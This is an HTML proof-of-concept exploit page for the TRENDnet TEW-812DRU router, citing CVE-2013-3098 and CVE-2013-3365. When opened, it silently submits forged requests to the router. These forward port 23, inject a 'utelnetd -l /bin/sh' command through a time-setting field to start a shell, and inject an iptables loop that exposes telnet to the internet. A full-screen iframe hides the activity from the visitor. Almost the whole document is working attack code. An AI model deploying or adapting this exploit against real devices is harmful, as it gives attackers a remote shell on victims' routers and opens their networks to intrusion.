1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 |
<html> <head> <title> TRENDnet TEW-812DRU CSRF - Command Injection > Shell Exploit.</title> <!-- # CSRF Discovered by: Jacob Holcomb - Security Analyst @ Independent Security Evaluators # Command Injection(s) Discovered by: Jacob Holcomb & Kedy Liu - Security Analysts @ Independent Security Evaluators # Exploited by: Jacob Holcomb - Security Analyst @ Independnet Security Evaluators # CVE: CSRF - CVE-2013-3098 & Multiple Command Injection - CVE-2013-3365 # http://infosec42.blogspot.com # http://securityevaluators.com --> </head> <body> <img src="http://192.168.10.1/Images/logo.gif"><!--TRENDnet Logo for attack launch page --> <h1>Please wait... </h1> <script type="text/javascript"> //Request to enable port forwarding to the routers internal IP on port 23 //This exploit works without this request, but the exploit was more stable with it, so its included in thos PoC. function RF1(){ document.write('<form name="portfwd" target ="_blank" action="http://192.168.10.1/uapply.cgi" method="post">'+ '<input type="hidden" name="page" value="/advanced/single_port.asp">'+ '<input type="hidden" name="forward_port_enable" value="0">'+ '<input type="hidden" name="forward_port" value="24">'+ '<input type="hidden" name="forward_port_proto0" value="tcp">'+ '<input type="hidden" name="forward_port_from_start0" value="23">'+ '<input type="hidden" name="forward_port_from_end0" value="23">'+ '<input type="hidden" name="forward_port_to_ip0" value="192.168.10.1">'+ '<input type="hidden" name="forward_port_to_start0" value="23">'+ '<input type="hidden" name="forward_port_to_end0" value="23">'+ '<input type="hidden" name="schedule0" value="0">'+ '<input type="hidden" name="forward_port_enable0" value="on">'+ '<input tpye="hidden" name="action" value="Apply">'+ '</form>'); } //Request to enable telnet function RF2(){ document.write('<form name="enable23" target="_blank" action="http://192.168.10.1/setNTP.cgi" method="post">'+ '<input type="hidden" name="page" value="/adm/time.asp">'+ '<input type="hidden" name="DSTenable" value="on">'+ '<input type="hidden" name="NtpDstEnable" value="1">'+ '<input type="hidden" name="NtpDstOffset" value="<code>utelnetd -l /bin/sh</code>">'+ '<input type="hidden" name="NtpDstStart" value="030102">'+ '<input type="hidden" name="tz_daylight_start_month_select" value="03">'+ '<input type="hidden" name="tz_daylight_start_day_select" value="01">'+ '<input type="hidden" name="tz_daylight_start_time_select" value="02">'+ '<input type="hidden" name="NtpDstEnd" value="100102">'+ '<input type="hidden" name="tz_daylight_end_month_select" value="10">'+ '<input type="hidden" name="tz_daylight_end_day_select" value="01">'+ '<input type="hidden" name="tz_daylight_end_time_select" value="02">'+ '<input type="hidden" name="ntp_server" value="1">'+ '<input type="hidden" name="NTPServerIP" value="pool.ntp.org">'+ '<input type="hidden" name="time_zone" value="UCT_-11">'+ '<input type="hidden" name="timer_interval" value="300">'+ '<input type="hidden" name="manual_year_select" value="2012">'+ '<input type="hidden" name="manual_month_select" value="01">'+ '<input type="hidden" name="manual_day_select" value="01">'+ '<input type="hidden" name="manual_hour_select" value="00">'+ '<input type="hidden" name="manual_min_select" value="19">'+ '<input type="hidden" name="manual_sec_select" value="57">'+ '<input type="hidden" name="timeTag" value="manual">'+ '</form>'); } //Request to change iptables to allow port 23 from the WAN. function RF3(){ document.write( '<form name="ipTableRule" target="_blank" action="http://192.168.10.1/setNTP.cgi" method="post">'+ '<input type="hidden" name="page" value="/adm/time.asp">'+ '<input type="hidden" name="DSTenable" value="on">'+ '<input type="hidden" name="NtpDstEnable" value="1">'+ '<input type="hidden" name="NtpDstOffset" value="3600">'+ '<input type="hidden" name="NtpDstStart" value="030102">'+ '<input type="hidden" name="tz_daylight_start_month_select" value="03">'+ '<input type="hidden" name="tz_daylight_start_day_select" value="01">'+ '<input type="hidden" name="tz_daylight_start_time_select" value="02">'+ '<input type="hidden" name="NtpDstEnd" value="<code>count=0;while [ $count -le 25 ]; do iptables -I INPUT 1 -p tcp --dport 23 -j ACCEPT;(( count++ ));done;</code>">'+ '<input type="hidden" name="tz_daylight_end_month_select" value="10">'+ '<input type="hidden" name="tz_daylight_end_day_select" value="01">'+ '<input type="hidden" name="tz_daylight_end_time_select" value="02">'+ '<input type="hidden" name="ntp_server" value="1">'+ '<input type="hidden" name="NTPServerIP" value="pool.ntp.org">'+ '<input type="hidden" name="time_zone" value="UCT_-11">'+ '<input type="hidden" name="timer_interval" value="300">'+ '<input type="hidden" name="manual_year_select" value="2012">'+ '<input type="hidden" name="manual_month_select" value="01">'+ '<input type="hidden" name="manual_day_select" value="01">'+ '<input type="hidden" name="manual_hour_select" value="00">'+ '<input type="hidden" name="manual_min_select" value="19">'+ '<input type="hidden" name="manual_sec_select" value="57">'+ '<input type="hidden" name="timeTag" value="manual">'+ '</form>'); } function createPage(){ RF1(); RF2(); RF3(); document.write('<iframe src="http://192.168.10.1/" target="_blank" width="100%" height="100%" frameborder="0" style="border: 0; position:fixed; top:0; left:0; right:0; bottom:0;"></iframe>'); } function _portfwd(){ document.portfwd.submit(); } function _enable23(){ document.enable23.submit(); } function _ipTableRule(){ document.ipTableRule.submit();i } //Called Functions createPage() for(var i = 0; i < 3; i++){ if(i == 0){ window.setTimeout(_portfwd, 1000); } else if(i == 1){ window.setTimeout(_enable23, 2000); } else if(i == 2){ window.setTimeout(_ipTableRule, 4000); } else{ continue; } } </script> </body> </html> |